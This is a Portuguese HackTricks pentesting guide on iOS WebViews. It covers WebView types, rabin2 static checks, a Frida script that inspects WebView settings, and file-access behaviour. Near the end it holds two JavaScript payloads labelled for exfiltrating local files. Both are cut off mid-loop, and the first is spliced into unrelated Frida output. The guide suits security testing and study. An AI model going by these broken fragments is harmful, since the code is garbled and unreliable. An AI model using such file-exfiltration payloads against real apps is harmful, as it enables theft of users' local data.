# iOS WebViews
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
## Tipos de WebViews
WebViews são componentes de navegador dentro de aplicativos para exibir **conteúdo web** interativo. Eles podem ser usados para incorporar conteúdo web diretamente na interface do usuário de um aplicativo. iOS WebViews **suportam** execução de **JavaScript** **por padrão**, então injeção de scripts e ataques de Cross-Site Scripting podem afetá-los.
* [**UIWebView**](https://developer.apple.com/documentation/uikit/uiwebview)**:** UIWebView está obsoleto a partir do iOS 12 e não deve ser usado. **JavaScript não pode ser desativado**.
* [**WKWebView**](https://developer.apple.com/documentation/webkit/wkwebview): Esta é a escolha apropriada para estender a funcionalidade do aplicativo, controlando o conteúdo exibido.
* **JavaScript** está habilitado por padrão, mas graças à propriedade **`javaScriptEnabled`** do `WKWebView`, ele **pode ser completamente desativado**, prevenindo todos os defeitos de injeção de scripts.
* A propriedade **`JavaScriptCanOpenWindowsAutomatically`** pode ser usada para **prevenir** que JavaScript **abra novas janelas**, como pop-ups.
* A propriedade **`hasOnlySecureContent`** pode ser usada para verificar se os recursos carregados pelo WebView são obtidos através de conexões criptografadas.
* `WKWebView` implementa renderização fora do processo, então **bugs de corrupção de memória não afetarão** o processo principal do aplicativo.
* [**SFSafariViewController**](https://developer.apple.com/documentation/safariservices/sfsafariviewcontroller)**:** Deve ser usado para fornecer uma **experiência de visualização web generalizada**. Esses WebViews podem ser facilmente identificados pois têm um layout característico que inclui os seguintes elementos:
* Um campo de endereço somente leitura com um indicador de segurança.
* Um botão de Ação ("**Compartilhar**").
* Um **botão Concluído**, botões de navegação para voltar e avançar, e um botão "Safari" para abrir a página diretamente no Safari.
* **JavaScript não pode ser desativado** no `SFSafariViewController` e esta é uma das razões pelas quais o uso de `WKWebView` é recomendado quando o objetivo é estender a interface do usuário do aplicativo.
* `SFSafariViewController` também **compartilha cookies** e outros dados de sites com o **Safari**.
* A atividade e interação do usuário com um `SFSafariViewController` **não são visíveis para o aplicativo**, que não pode acessar dados de AutoFill, histórico de navegação ou dados de sites.
* De acordo com as Diretrizes de Revisão da App Store, `SFSafariViewController`s **não podem ser ocultados ou obscurecidos por outras visualizações ou camadas**.
## Descobrindo Configurações de WebViews
### Análise Estática
**UIWebView**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
489 0x0002fee9 0x10002fee9 9 10 (5.__TEXT.__cstring) ascii UIWebView
896 0x0003c813 0x0003c813 24 25 () ascii @_OBJC_CLASS_$_UIWebView
1754 0x00059599 0x00059599 23 24 () ascii _OBJC_CLASS_$_UIWebView
```
**WKWebView**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
490 0x0002fef3 0x10002fef3 9 10 (5.__TEXT.__cstring) ascii WKWebView
625 0x00031670 0x100031670 17 18 (5.__TEXT.__cstring) ascii unwindToWKWebView
904 0x0003c960 0x0003c960 24 25 () ascii @_OBJC_CLASS_$_WKWebView
1757 0x000595e4 0x000595e4 23 24 () ascii _OBJC_CLASS_$_WKWebView
```
Alternativamente, você também pode procurar por métodos conhecidos dessas classes WebView. Por exemplo, procure pelo método usado para inicializar um WKWebView ([`init(frame:configuration:)`](https://developer.apple.com/documentation/webkit/wkwebview/1414998-init)):
```bash
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
0x5c3ac 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
0x5d97a 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO
0x6b5d5 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
0x6c3fa 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO
```
#### Testando Configuração de JavaScript
Para `WKWebView`s, como uma melhor prática, JavaScript deve ser desativado a menos que seja explicitamente necessário. Para verificar se o JavaScript foi desativado corretamente, procure no projeto por usos de `WKPreferences` e garanta que a propriedade [`javaScriptEnabled`](https://developer.apple.com/documentation/webkit/wkpreferences/1536203-javascriptenabled) esteja configurada como `false`:
```
let webPreferences = WKPreferences()
webPreferences.javaScriptEnabled = false
```
Se você tiver apenas o binário compilado, pode procurar isto nele:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
391 0x0002f2c7 0x10002f2c7 17 18 (4.__TEXT.__objc_methname) ascii javaScriptEnabled
392 0x0002f2d9 0x10002f2d9 21 22 (4.__TEXT.__objc_methname) ascii setJavaScriptEnabled
```
#### Testando OnlySecureContent
Em contraste com `UIWebView`s, ao usar `WKWebView`s é possível detectar [conteúdo misto](https://developers.google.com/web/fundamentals/security/prevent-mixed-content/fixing-mixed-content?hl=en) (conteúdo HTTP carregado de uma página HTTPS). Utilizando o método [`hasOnlySecureContent`](https://developer.apple.com/documentation/webkit/wkwebview/1415002-hasonlysecurecontent) pode-se verificar se todos os recursos na página foram carregados através de conexões seguras e criptografadas.\
No binário compilado:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
```
Você também pode procurar no código-fonte ou nas strings a string "http://". No entanto, isso não significa necessariamente que há um problema de conteúdo misto. Saiba mais sobre conteúdo misto nos [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/Security/Mixed\_content).
### Análise Dinâmica
É possível inspecionar o heap via `ObjC.choose()` para encontrar instâncias dos diferentes tipos de WebViews e também procurar pelas propriedades `javaScriptEnabled` e `hasonlysecurecontent`:
{% code title="webviews_inspector.js" %}
```javascript
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});
```
Carregue-o com:
```bash
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
onMatch: >
hasOnlySecureContent: false
```
## Manipulação de Protocolo WebView
Vários esquemas padrão estão disponíveis e são interpretados em um WebView no iOS, por exemplo:
* http(s)://
* file://
* tel://
WebViews podem carregar conteúdo remoto de um endpoint, mas também podem carregar conteúdo local do diretório de dados do aplicativo. Se o conteúdo local for carregado, o usuário não deve ser capaz de influenciar o nome do arquivo ou o caminho usado para carregar o arquivo, e os usuários não devem ser capazes de editar o arquivo carregado.
### Carregamento de conteúdo WebView
* **UIWebView**: Pode usar métodos obsoletos [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617979-loadhtmlstring?language=objc) ou [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617941-loaddata?language=objc) para carregar conteúdo.
* **WKWebView**: Pode usar os métodos [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415004-loadhtmlstring?language=objc) ou [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415011-loaddata?language=objc) para carregar arquivos HTML locais e `loadRequest:` para conteúdo web. Tipicamente, os arquivos locais são carregados em combinação com métodos que incluem, entre outros: [`pathForResource:ofType:`](https://developer.apple.com/documentation/foundation/nsbundle/1410989-pathforresource), [`URLForResource:withExtension:`](https://developer.apple.com/documentation/foundation/nsbundle/1411540-urlforresource?language=objc) ou [`init(contentsOf:encoding:)`](https://developer.apple.com/documentation/swift/string/3126736-init). Além disso, você também deve verificar se o aplicativo está usando o método [`loadFileURL:allowingReadAccessToURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1414973-loadfileurl?language=objc). Seu primeiro parâmetro é `URL` e contém a URL a ser carregada no WebView, seu segundo parâmetro `allowingReadAccessToURL` pode conter um único arquivo ou um diretório. Se contiver um único arquivo, esse arquivo estará disponível para o WebView. No entanto, se contiver um diretório, todos os arquivos nesse **diretório estarão disponíveis para o WebView**. Portanto, vale a pena inspecionar isso e, caso seja um diretório, verificar que nenhum dado sensível possa ser encontrado dentro dele.
Se você tem o código-fonte, pode procurar por esses métodos. Tendo o **binário** **compilado**, você também pode procurar por esses métodos:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
```
### Acesso a Arquivos
* **UIWebView:**
* O esquema `file://` está sempre ativado.
* O acesso a arquivos a partir de URLs `file://` está sempre ativado.
* O acesso universal a partir de URLs `file://` está sempre ativado.
* Se você recuperar a origem efetiva de um `UIWebView` onde `baseURL` também está definido como `nil`, você verá que **não está definido como "null"**, em vez disso, você obterá algo semelhante ao seguinte: `applewebdata://5361016c-f4a0-4305-816b-65411fc1d780`. Esta origem "applewebdata://" é semelhante à origem "file://" pois **não implementa a Política de Mesma Origem** e permite acesso a arquivos locais e quaisquer recursos da web.
{% tabs %}
{% tab title="exfiltrate_file" %}
```javascript
String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i>
URL: file:///var/mobile/Containers/Data/Application/A654D169-1DB7-429C-9DB9-A871389A8BAA/
Library/WKWebView/scenario1.html
javaScriptEnabled: true
allowFileAccessFromFileURLs: 0
hasOnlySecureContent: false
allowUniversalAccessFromFileURLs: 0
```
#### Exfiltrar arquivos arbitrários
```javascript
//For some reason this payload doesn't work!!
//Let me know if you know how to exfiltrate local files from a WKWebView
String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i